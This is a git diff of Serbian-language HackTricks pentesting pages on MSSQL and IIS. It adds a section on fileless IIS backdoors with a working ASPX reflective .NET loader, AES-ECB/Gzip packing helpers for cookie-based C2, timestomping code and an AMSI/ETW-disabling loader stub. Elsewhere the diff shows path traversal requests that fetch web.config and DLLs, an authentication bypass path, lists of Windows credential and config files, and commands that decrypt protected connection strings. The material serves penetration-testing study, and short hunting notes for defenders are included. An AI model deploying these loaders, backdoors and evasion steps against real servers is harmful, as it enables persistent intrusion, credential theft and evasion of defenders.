- [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
|
||||||
- [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
|
- [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
|
||||||
@ -583,7 +629,7 @@ Verovatno ćete moći da **eskalirate na Administratora** prateći jednu od ove
|
|||||||
- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
|
- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
|
||||||
- [https://exploit7-tr.translate.goog/posts/sqlserver/?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
|
- [https://exploit7-tr.translate.goog/posts/sqlserver/?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
|
||||||
|
|
||||||
## HackTricks Automatske Komande
|
## HackTricks Automatske komande
|
||||||
```
|
```
|
||||||
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
|
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
|
||||||
Port_Number: 1433 #Comma separated if there is more than one.
|
Port_Number: 1433 #Comma separated if there is more than one.
|
||||||
|
@ -2,21 +2,21 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
Testirajte ekstenzije izvršnih datoteka:
|
Test ekstenzije izvršnih fajlova:
|
||||||
|
|
||||||
- asp
|
- asp
|
||||||
- aspx
|
- aspx
|
||||||
- config
|
- config
|
||||||
- php
|
- php
|
||||||
|
|
||||||
## Otkriće interne IP adrese
|
## Otkrivanje interne IP adrese
|
||||||
|
|
||||||
Na bilo kojem IIS serveru gde dobijete 302, možete pokušati da uklonite Host header i koristite HTTP/1.0, a unutar odgovora Location header može vas uputiti na internu IP adresu:
|
Na bilo kom IIS serveru na kojem dobijete 302 možete pokušati ukloniti Host header i koristiti HTTP/1.0 i u odgovoru Location header može ukazivati na internu IP adresu:
|
||||||
```
|
```
|
||||||
nc -v domain.com 80
|
nc -v domain.com 80
|
||||||
openssl s_client -connect domain.com:443
|
openssl s_client -connect domain.com:443
|
||||||
```
|
```
|
||||||
Odgovor koji otkriva unutrašnju IP adresu:
|
Odgovor koji otkriva internu IP adresu:
|
||||||
```
|
```
|
||||||
GET / HTTP/1.0
|
GET / HTTP/1.0
|
||||||
|
|
||||||
@ -27,13 +27,13 @@ Location: https://192.168.5.237/owa/
|
|||||||
Server: Microsoft-IIS/10.0
|
Server: Microsoft-IIS/10.0
|
||||||
X-FEServer: NHEXCHANGE2016
|
X-FEServer: NHEXCHANGE2016
|
||||||
```
|
```
|
||||||
## Izvršavanje .config datoteka
|
## Izvršavanje .config fajlova
|
||||||
|
|
||||||
Možete učitati .config datoteke i koristiti ih za izvršavanje koda. Jedan od načina da to uradite je dodavanje koda na kraj datoteke unutar HTML komentara: [Preuzmite primer ovde](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
|
Možete otpremiti .config fajlove i koristiti ih za izvršavanje koda. Jedan način je dodavanje koda na kraj fajla unutar HTML komentara: [Preuzmi primer ovde](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
|
||||||
|
|
||||||
Više informacija i tehnika za iskorišćavanje ove ranjivosti [ovde](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
|
Više informacija i tehnika za iskorišćavanje ove ranjivosti možete pronaći [ovde](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
|
||||||
|
|
||||||
## IIS Otkriće Bruteforce
|
## IIS otkrivanje Bruteforce
|
||||||
|
|
||||||
Preuzmite listu koju sam napravio:
|
Preuzmite listu koju sam napravio:
|
||||||
|
|
||||||
@ -41,7 +41,7 @@ Preuzmite listu koju sam napravio:
|
|||||||
iisfinal.txt
|
iisfinal.txt
|
||||||
{{#endfile}}
|
{{#endfile}}
|
||||||
|
|
||||||
Napravljen je spajanjem sadržaja sledećih lista:
|
Nastala je spajanjem sadržaja sledećih lista:
|
||||||
|
|
||||||
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
|
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
|
||||||
[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
|
[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
|
||||||
@ -50,63 +50,63 @@ Napravljen je spajanjem sadržaja sledećih lista:
|
|||||||
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
|
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
|
||||||
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
|
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
|
||||||
|
|
||||||
Koristite je bez dodavanja ekstenzije, datoteke koje je zahtevaju već je imaju.
|
Koristite je bez dodavanja ekstenzije; fajlovi kojima je potrebna već je imaju.
|
||||||
|
|
||||||
## Putanja Traversal
|
## Path Traversal
|
||||||
|
|
||||||
### Curjenje izvornog koda
|
### Leaking source code
|
||||||
|
|
||||||
Proverite potpuni izveštaj na: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
Pročitajte kompletan writeup na: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
||||||
|
|
||||||
> [!NOTE]
|
> [!TIP]
|
||||||
> Kao sažetak, postoji nekoliko web.config datoteka unutar foldera aplikacije sa referencama na "**assemblyIdentity**" datoteke i "**namespaces**". Sa ovom informacijom je moguće znati **gde se nalaze izvršne datoteke** i preuzeti ih.\
|
> Kao rezime, postoji nekoliko web.config fajlova unutar foldera aplikacije sa referencama na "**assemblyIdentity**" fajlove i "**namespaces**". Sa tim informacijama moguće je znati **gde se izvršni fajlovi nalaze** i preuzeti ih.\
|
||||||
> Iz **preuzetih Dll-ova** takođe je moguće pronaći **nove namespaces** gde treba pokušati da se pristupi i dobije web.config datoteka kako bi se pronašle nove namespaces i assemblyIdentity.\
|
> Iz **preuzetih Dlls** takođe je moguće pronaći **nove namespaces** gde treba pokušati pristupiti i dobiti web.config fajl kako bi se našli novi namespaces i assemblyIdentity.\
|
||||||
> Takođe, datoteke **connectionstrings.config** i **global.asax** mogu sadržati zanimljive informacije.
|
> Takođe, fajlovi **connectionstrings.config** i **global.asax** mogu sadržati zanimljive informacije.
|
||||||
|
|
||||||
U **.Net MVC aplikacijama**, **web.config** datoteka igra ključnu ulogu tako što specificira svaku binarnu datoteku na kojoj aplikacija zavisi putem **"assemblyIdentity"** XML oznaka.
|
U **.Net MVC applications**, fajl **web.config** ima ključnu ulogu specificirajući svaki binarni fajl na koji aplikacija zavisi kroz **"assemblyIdentity"** XML tagove.
|
||||||
|
|
||||||
### **Istraživanje Binarnih Datoteka**
|
### **Istraživanje binarnih fajlova**
|
||||||
|
|
||||||
Primer pristupa **web.config** datoteci je prikazan u nastavku:
|
Primer pristupa fajlu **web.config** prikazan je ispod:
|
||||||
```html
|
```html
|
||||||
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
|
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
|
||||||
Host: example-mvc-application.minded
|
Host: example-mvc-application.minded
|
||||||
```
|
```
|
||||||
Ovaj zahtev otkriva razne postavke i zavisnosti, kao što su:
|
Ovaj zahtev otkriva razna podešavanja i zavisnosti, kao što su:
|
||||||
|
|
||||||
- **EntityFramework** verzija
|
- **EntityFramework** verzija
|
||||||
- **AppSettings** za veb stranice, validaciju klijenata i JavaScript
|
- **AppSettings** za web stranice, validaciju klijenta i JavaScript
|
||||||
- **System.web** konfiguracije za autentifikaciju i vreme izvršavanja
|
- **System.web** konfiguracije za autentifikaciju i runtime
|
||||||
- **System.webServer** podešavanja modula
|
- **System.webServer** podešavanja modula
|
||||||
- **Runtime** vezivanja skupova za brojne biblioteke kao što su **Microsoft.Owin**, **Newtonsoft.Json** i **System.Web.Mvc**
|
- **Runtime** assembly bindings za brojne biblioteke kao što su **Microsoft.Owin**, **Newtonsoft.Json**, i **System.Web.Mvc**
|
||||||
|
|
||||||
Ove postavke ukazuju na to da se određene datoteke, kao što je **/bin/WebGrease.dll**, nalaze unutar /bin fascikle aplikacije.
|
Ova podešavanja ukazuju da se određeni fajlovi, kao na primer **/bin/WebGrease.dll**, nalaze u /bin folderu aplikacije.
|
||||||
|
|
||||||
### **Datoteke u korenskom direktorijumu**
|
### **Datoteke u korenskom direktorijumu**
|
||||||
|
|
||||||
Datoteke pronađene u korenskom direktorijumu, poput **/global.asax** i **/connectionstrings.config** (koja sadrži osetljive lozinke), su ključne za konfiguraciju i rad aplikacije.
|
Fajlovi pronađeni u korenskom direktorijumu, kao što su **/global.asax** i **/connectionstrings.config** (koji sadrži osetljive lozinke), su ključni za konfiguraciju i rad aplikacije.
|
||||||
|
|
||||||
### **Namespaces i Web.Config**
|
### **Prostori imena i web.config**
|
||||||
|
|
||||||
MVC aplikacije takođe definišu dodatne **web.config datoteke** za specifične namespaces kako bi se izbegle ponavljajuće deklaracije u svakoj datoteci, kao što je prikazano zahtevom za preuzimanje druge **web.config**:
|
MVC aplikacije takođe definišu dodatne **web.config** fajlove za specifične prostore imena kako bi se izbegle ponovljene deklaracije u svakom fajlu, što je demonstrirano zahtevom za preuzimanje još jednog **web.config**:
|
||||||
```html
|
```html
|
||||||
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
||||||
Host: example-mvc-application.minded
|
Host: example-mvc-application.minded
|
||||||
```
|
```
|
||||||
### **Preuzimanje DLL-ova**
|
### **Preuzimanje DLL-ova**
|
||||||
|
|
||||||
Pominjanje prilagođenog imenskog prostora ukazuje na DLL pod nazivom "**WebApplication1**" prisutan u /bin direktorijumu. Nakon toga, prikazana je molba za preuzimanje **WebApplication1.dll**:
|
Spominjanje prilagođenog namespace-a ukazuje na DLL naziva "**WebApplication1**" prisutan u /bin direktorijumu. Nakon toga prikazan je zahtev za preuzimanje **WebApplication1.dll**:
|
||||||
```html
|
```html
|
||||||
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
|
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
|
||||||
Host: example-mvc-application.minded
|
Host: example-mvc-application.minded
|
||||||
```
|
```
|
||||||
Ovo sugeriše prisustvo drugih bitnih DLL-ova, kao što su **System.Web.Mvc.dll** i **System.Web.Optimization.dll**, u /bin direktorijumu.
|
Ovo sugeriše prisustvo drugih bitnih DLL-ova, kao što su **System.Web.Mvc.dll** i **System.Web.Optimization.dll**, u /bin direktorijumu.
|
||||||
|
|
||||||
U scenariju gde DLL uvozi prostor imena pod nazivom **WebApplication1.Areas.Minded**, napadač može da zaključi o postojanju drugih web.config fajlova na predvidivim putanjama, kao što su **/area-name/Views/**, koji sadrže specifične konfiguracije i reference na druge DLL-ove u /bin folderu. Na primer, zahtev za **/Minded/Views/web.config** može otkriti konfiguracije i prostore imena koji ukazuju na prisustvo drugog DLL-a, **WebApplication1.AdditionalFeatures.dll**.
|
U scenariju gde DLL uvozi namespace pod imenom **WebApplication1.Areas.Minded**, napadač može zaključiti postojanje drugih web.config fajlova na predvidivim putanjama, poput **/area-name/Views/**, koji sadrže specifične konfiguracije i reference na druge DLL-ove u /bin folderu. Na primer, zahtev ka **/Minded/Views/web.config** može otkriti konfiguracije i namespace-ove koji ukazuju na prisustvo drugog DLL-a, **WebApplication1.AdditionalFeatures.dll**.
|
||||||
|
|
||||||
### Uobičajeni fajlovi
|
### Uobičajene datoteke
|
||||||
|
|
||||||
From [here](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
|
Iz [ovde](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
|
||||||
```
|
```
|
||||||
C:\Apache\conf\httpd.conf
|
C:\Apache\conf\httpd.conf
|
||||||
C:\Apache\logs\access.log
|
C:\Apache\logs\access.log
|
||||||
@ -183,65 +183,183 @@ C:\xampp\security\webdav.htpasswd
|
|||||||
C:\xampp\sendmail\sendmail.ini
|
C:\xampp\sendmail\sendmail.ini
|
||||||
C:\xampp\tomcat\conf\server.xml
|
C:\xampp\tomcat\conf\server.xml
|
||||||
```
|
```
|
||||||
## HTTPAPI 2.0 404 Greška
|
## HTTPAPI 2.0 404 greška
|
||||||
|
|
||||||
Ako vidite grešku poput sledeće:
|
If you see an error like the following one:
|
||||||
|
|
||||||
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||||
|
|
||||||
To znači da server **nije primio ispravno ime domena** unutar Host zaglavlja.\
|
To znači da server **nije primio tačan naziv domena** unutar Host header-a.\
|
||||||
Da biste pristupili veb stranici, možete pogledati **SSL sertifikat** i možda ćete pronaći ime domena/subdomena tamo. Ako ga nema, možda ćete morati da **brute force VHosts** dok ne pronađete ispravno.
|
Da biste pristupili web stranici, pogledajte posluženi **SSL Certificate** — možda tamo nađete ime domena/poddomena. Ako ga nema, možda ćete morati da **brute force VHosts** dok ne pronađete ispravan.
|
||||||
|
|
||||||
## Stare IIS ranjivosti koje vredi potražiti
|
## Dekriptirajte šifrovanu konfiguraciju i ASP.NET Core Data Protection key rings
|
||||||
|
|
||||||
### Microsoft IIS tilde karakter “\~” Ranjivost/Osobina – Otkriće kratkog imena datoteke/foldera
|
Dva uobičajena obrasca za zaštitu tajni u .NET aplikacijama hostovanim na IIS-u su:
|
||||||
|
- ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) za sekcije web.config kao što su <connectionStrings>.
|
||||||
|
- ASP.NET Core Data Protection key ring (koji se čuva lokalno) koristi se za zaštitu tajni aplikacije i kolačića.
|
||||||
|
|
||||||
Možete pokušati da **enumerišete foldere i datoteke** unutar svakog otkrivenog foldera (čak i ako zahteva osnovnu autentifikaciju) koristeći ovu **tehniku**.\
|
Ako imate pristup datotečnom sistemu ili interaktivan pristup web serveru, ključevi koji se nalaze na istom mestu često omogućavaju dekripciju.
|
||||||
Glavno ograničenje ove tehnike, ako je server ranjiv, je to da **može pronaći samo prvih 6 slova imena svake datoteke/foldera i prva 3 slova ekstenzije** datoteka.
|
|
||||||
|
- ASP.NET (Full Framework) – dešifrujte zaštićene sekcije konfiguracije pomoću aspnet_regiis:
|
||||||
|
```cmd
|
||||||
|
# Decrypt a section by app path (site configured in IIS)
|
||||||
|
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"
|
||||||
|
|
||||||
|
# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
|
||||||
|
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
|
||||||
|
```
|
||||||
|
- ASP.NET Core – potražite Data Protection key rings koji su uskladišteni lokalno (XML/JSON fajlovi) na lokacijama kao što su:
|
||||||
|
- %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
|
||||||
|
- HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
|
||||||
|
- App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)
|
||||||
|
|
||||||
|
Sa dostupnim key ring-om, operator koji radi u identitetu aplikacije može instancirati IDataProtector sa istim purposes i unprotect-ovati uskladištene tajne. Pogrešne konfiguracije koje čuvaju key ring zajedno sa fajlovima aplikacije čine offline dešifrovanje trivijalnim nakon kompromitovanja hosta.
|
||||||
|
|
||||||
|
## IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)
|
||||||
|
|
||||||
|
The Phantom Taurus/NET-STAR toolkit prikazuje zreo obrazac za fileless IIS persistence i post‑exploitation potpuno unutar w3wp.exe. Osnovne ideje su široko ponovo upotrebljive za custom tradecraft i za detection/hunting.
|
||||||
|
|
||||||
|
Key building blocks
|
||||||
|
- ASPX bootstrapper hosting an embedded payload: jedna .aspx stranica (npr., OutlookEN.aspx) nosi Base64‑encoded, opciono Gzip‑compressed .NET DLL. Na trigger request dekodira, dekompresuje i reflectively loads u trenutni AppDomain i poziva glavni entry point (npr., ServerRun.Run()).
|
||||||
|
- Cookie‑scoped, encrypted C2 with multi‑stage packing: zadaci/rezultati se pakuju Gzip → AES‑ECB/PKCS7 → Base64 i prenose putem naizgled legitimnih cookie‑heavy requests; operatori su koristili stabilne delimitere (npr., "STAR") za podelu na delove.
|
||||||
|
- Reflective .NET execution: prihvata proizvoljne managed assemblies kao Base64, učitava preko Assembly.Load(byte[]) i prosleđuje operator args za brzo menjanje modula bez pisanja na disk.
|
||||||
|
- Operating in precompiled ASP.NET sites: dodavanje/održavanje pomoćnih shells/backdoors čak i kada je sajt precompiled (npr., dropper dodaje dynamic pages/handlers ili koristi config handlers) – izloženo komandama kao što su bypassPrecompiledApp, addshell, listshell, removeshell.
|
||||||
|
- Timestomping/metadata forgery: izložiti changeLastModified action i timestomp pri deploymentu (uključujući buduće compilation timestamps) da bi se otežao DFIR.
|
||||||
|
- Optional AMSI/ETW pre‑disable for loaders: second‑stage loader može onemogućiti AMSI i ETW pre poziva Assembly.Load kako bi se smanjila inspekcija in‑memory payload‑a.
|
||||||
|
|
||||||
|
Minimalni ASPX loader pattern
|
||||||
|
```aspx
|
||||||
|
<%@ Page Language="C#" %>
|
||||||
|
<%@ Import Namespace="System" %>
|
||||||
|
<%@ Import Namespace="System.IO" %>
|
||||||
|
<%@ Import Namespace="System.IO.Compression" %>
|
||||||
|
<%@ Import Namespace="System.Reflection" %>
|
||||||
|
<script runat="server">
|
||||||
|
protected void Page_Load(object sender, EventArgs e){
|
||||||
|
// 1) Obtain payload bytes (hard‑coded blob or from request)
|
||||||
|
string b64 = /* hardcoded or Request["d"] */;
|
||||||
|
byte[] blob = Convert.FromBase64String(b64);
|
||||||
|
// optional: decrypt here if AES is used
|
||||||
|
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
|
||||||
|
using(var ms = new MemoryStream()){
|
||||||
|
gz.CopyTo(ms);
|
||||||
|
var asm = Assembly.Load(ms.ToArray());
|
||||||
|
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
|
||||||
|
var t = asm.GetType("ServerRun");
|
||||||
|
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
|
||||||
|
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
|
||||||
|
m.Invoke(inst, new object[]{ HttpContext.Current });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
```
|
||||||
|
Pomoćni alati za packovanje/crypto (Gzip + AES‑ECB + Base64)
|
||||||
|
```csharp
|
||||||
|
using System.Security.Cryptography;
|
||||||
|
|
||||||
|
static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
|
||||||
|
using(var aes = Aes.Create()){
|
||||||
|
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
|
||||||
|
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
|
||||||
|
return t.TransformFinalBlock(data, 0, data.Length);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static string Pack(object obj, byte[] key){
|
||||||
|
// serialize → gzip → AES‑ECB → Base64
|
||||||
|
byte[] raw = Serialize(obj); // your TLV/JSON/msgpack
|
||||||
|
using var ms = new MemoryStream();
|
||||||
|
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
|
||||||
|
byte[] enc = AesEcb(ms.ToArray(), key, true);
|
||||||
|
return Convert.ToBase64String(enc);
|
||||||
|
}
|
||||||
|
|
||||||
|
static T Unpack<T>(string b64, byte[] key){
|
||||||
|
byte[] enc = Convert.FromBase64String(b64);
|
||||||
|
byte[] cmp = AesEcb(enc, key, false);
|
||||||
|
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
|
||||||
|
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
|
||||||
|
return Deserialize<T>(outMs.ToArray());
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Cookie/session tok i command surface
|
||||||
|
|
||||||
|
- Session bootstrap i tasking se prenose putem cookies kako bi se uklopili u normalnu web aktivnost.
|
||||||
|
- Komande primećene u divljini uključivale su: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; i dinamičke izvršne primitive code_self, code_pid, run_code za in‑memory .NET execution.
|
||||||
|
|
||||||
|
Timestomping alat
|
||||||
|
```csharp
|
||||||
|
File.SetCreationTime(path, ts);
|
||||||
|
File.SetLastWriteTime(path, ts);
|
||||||
|
File.SetLastAccessTime(path, ts);
|
||||||
|
```
|
||||||
|
Inline onemogućavanje AMSI/ETW pre Assembly.Load (loader variant)
|
||||||
|
```csharp
|
||||||
|
// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
|
||||||
|
// and ntdll!EtwEventWrite to a stub; then load operator assembly
|
||||||
|
DisableAmsi();
|
||||||
|
DisableEtw();
|
||||||
|
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });
|
||||||
|
```
|
||||||
|
Pogledajte AMSI/ETW bypass techniques u: windows-hardening/av-bypass.md
|
||||||
|
|
||||||
|
Hunting notes (defenders)
|
||||||
|
- Pojedinačna, neobična ASPX stranica sa veoma dugim Base64/Gzip blobovima; POST zahtevi sa puno cookie‑ja.
|
||||||
|
- Unbacked managed modules unutar w3wp.exe; stringovi kao Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
|
||||||
|
- Ponavljajući delimiteri kao "STAR" u saobraćaju; neusaglašeni ili čak budući timestamps na ASPX/assemblies.
|
||||||
|
|
||||||
|
## Old IIS vulnerabilities worth looking for
|
||||||
|
|
||||||
|
|
||||||
|
### Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure
|
||||||
|
|
||||||
|
Možete pokušati da **enumerišete foldere i fajlove** unutar svakog otkrivenog foldera (čak i ako zahteva Basic Authentication) koristeći ovu **tehniku**.\
|
||||||
|
Glavno ograničenje ove tehnike ako je server ranjiv je da **može otkriti samo prvih 6 slova imena svakog fajla/foldera i prva 3 slova ekstenzije** fajlova.
|
||||||
|
|
||||||
Možete koristiti [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) da testirate ovu ranjivost:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
Možete koristiti [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) da testirate ovu ranjivost:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Originalno istraživanje: [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
|
Original research: [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
|
||||||
|
|
||||||
Takođe možete koristiti **metasploit**: `use scanner/http/iis_shortname_scanner`
|
Možete takođe koristiti **metasploit**: `use scanner/http/iis_shortname_scanner`
|
||||||
|
|
||||||
Lepa ideja da **pronađete konačno ime** otkrivenih datoteka je da **pitate LLMs** za opcije kao što je to učinjeno u skripti [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
|
Dobra ideja za **otkrivanje finalnog imena** pronađenih fajlova je da **pitate LLMs** za opcije, kao što je urađeno u skriptu [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
|
||||||
|
|
||||||
### Obilaženje osnovne autentifikacije
|
### Basic Authentication bypass
|
||||||
|
|
||||||
**Obiđite** osnovnu autentifikaciju (**IIS 7.5**) pokušavajući da pristupite: `/admin:$i30:$INDEX_ALLOCATION/admin.php` ili `/admin::$INDEX_ALLOCATION/admin.php`
|
Bypass a basic authentication (**IIS 7.5**) pokušavajući da pristupite: `/admin:$i30:$INDEX_ALLOCATION/admin.php` ili `/admin::$INDEX_ALLOCATION/admin.php`
|
||||||
|
|
||||||
Možete pokušati da **kombinujete** ovu **ranjivost** i prethodnu da pronađete nove **foldere** i **obiđete** autentifikaciju.
|
Možete pokušati da **kombinujete** ovu **ranjivost** i prethodnu kako biste pronašli nove **foldere** i bypass-ovali autentifikaciju.
|
||||||
|
|
||||||
## ASP.NET Trace.AXD omogućeno debagovanje
|
## ASP.NET Trace.AXD enabled debugging
|
||||||
|
|
||||||
ASP.NET uključuje režim debagovanja i njegova datoteka se zove `trace.axd`.
|
ASP.NET uključuje debug mod i njegov fajl se zove `trace.axd`.
|
||||||
|
|
||||||
Ona čuva veoma detaljan zapis svih zahteva upućenih aplikaciji tokom određenog vremenskog perioda.
|
On čuva veoma detaljan log svih zahteva upućenih aplikaciji tokom određenog vremenskog perioda.
|
||||||
|
|
||||||
Ove informacije uključuju IP adrese udaljenih klijenata, ID sesija, sve kolačiće zahteva i odgovora, fizičke putanje, informacije o izvoru koda, i potencijalno čak i korisnička imena i lozinke.
|
Ove informacije uključuju IP adrese udaljenih klijenata, session ID‑eve, sve request i response cookie‑je, fizičke putanje, informacije o source code‑u, i potencijalno čak korisnička imena i lozinke.
|
||||||
|
|
||||||
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
|
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
## ASPXAUTH Kolačić
|
## ASPXAUTH Cookie
|
||||||
|
|
||||||
ASPXAUTH koristi sledeće informacije:
|
ASPXAUTH koristi sledeće informacije:
|
||||||
|
|
||||||
- **`validationKey`** (string): heksadecimalno kodirani ključ koji se koristi za validaciju potpisa.
|
- **`validationKey`** (string): hex-enkodovan ključ za verifikaciju potpisa.
|
||||||
- **`decryptionMethod`** (string): (podrazumevano “AES”).
|
- **`decryptionMethod`** (string): (default “AES”).
|
||||||
- **`decryptionIV`** (string): heksadecimalno kodirani inicijalizacijski vektor (podrazumevano vektor nula).
|
- **`decryptionIV`** (string): hex-enkodovan initialization vector (podrazumevano vektor nula).
|
||||||
- **`decryptionKey`** (string): heksadecimalno kodirani ključ koji se koristi za dekripciju.
|
- **`decryptionKey`** (string): hex-enkodovan ključ za dekripciju.
|
||||||
|
|
||||||
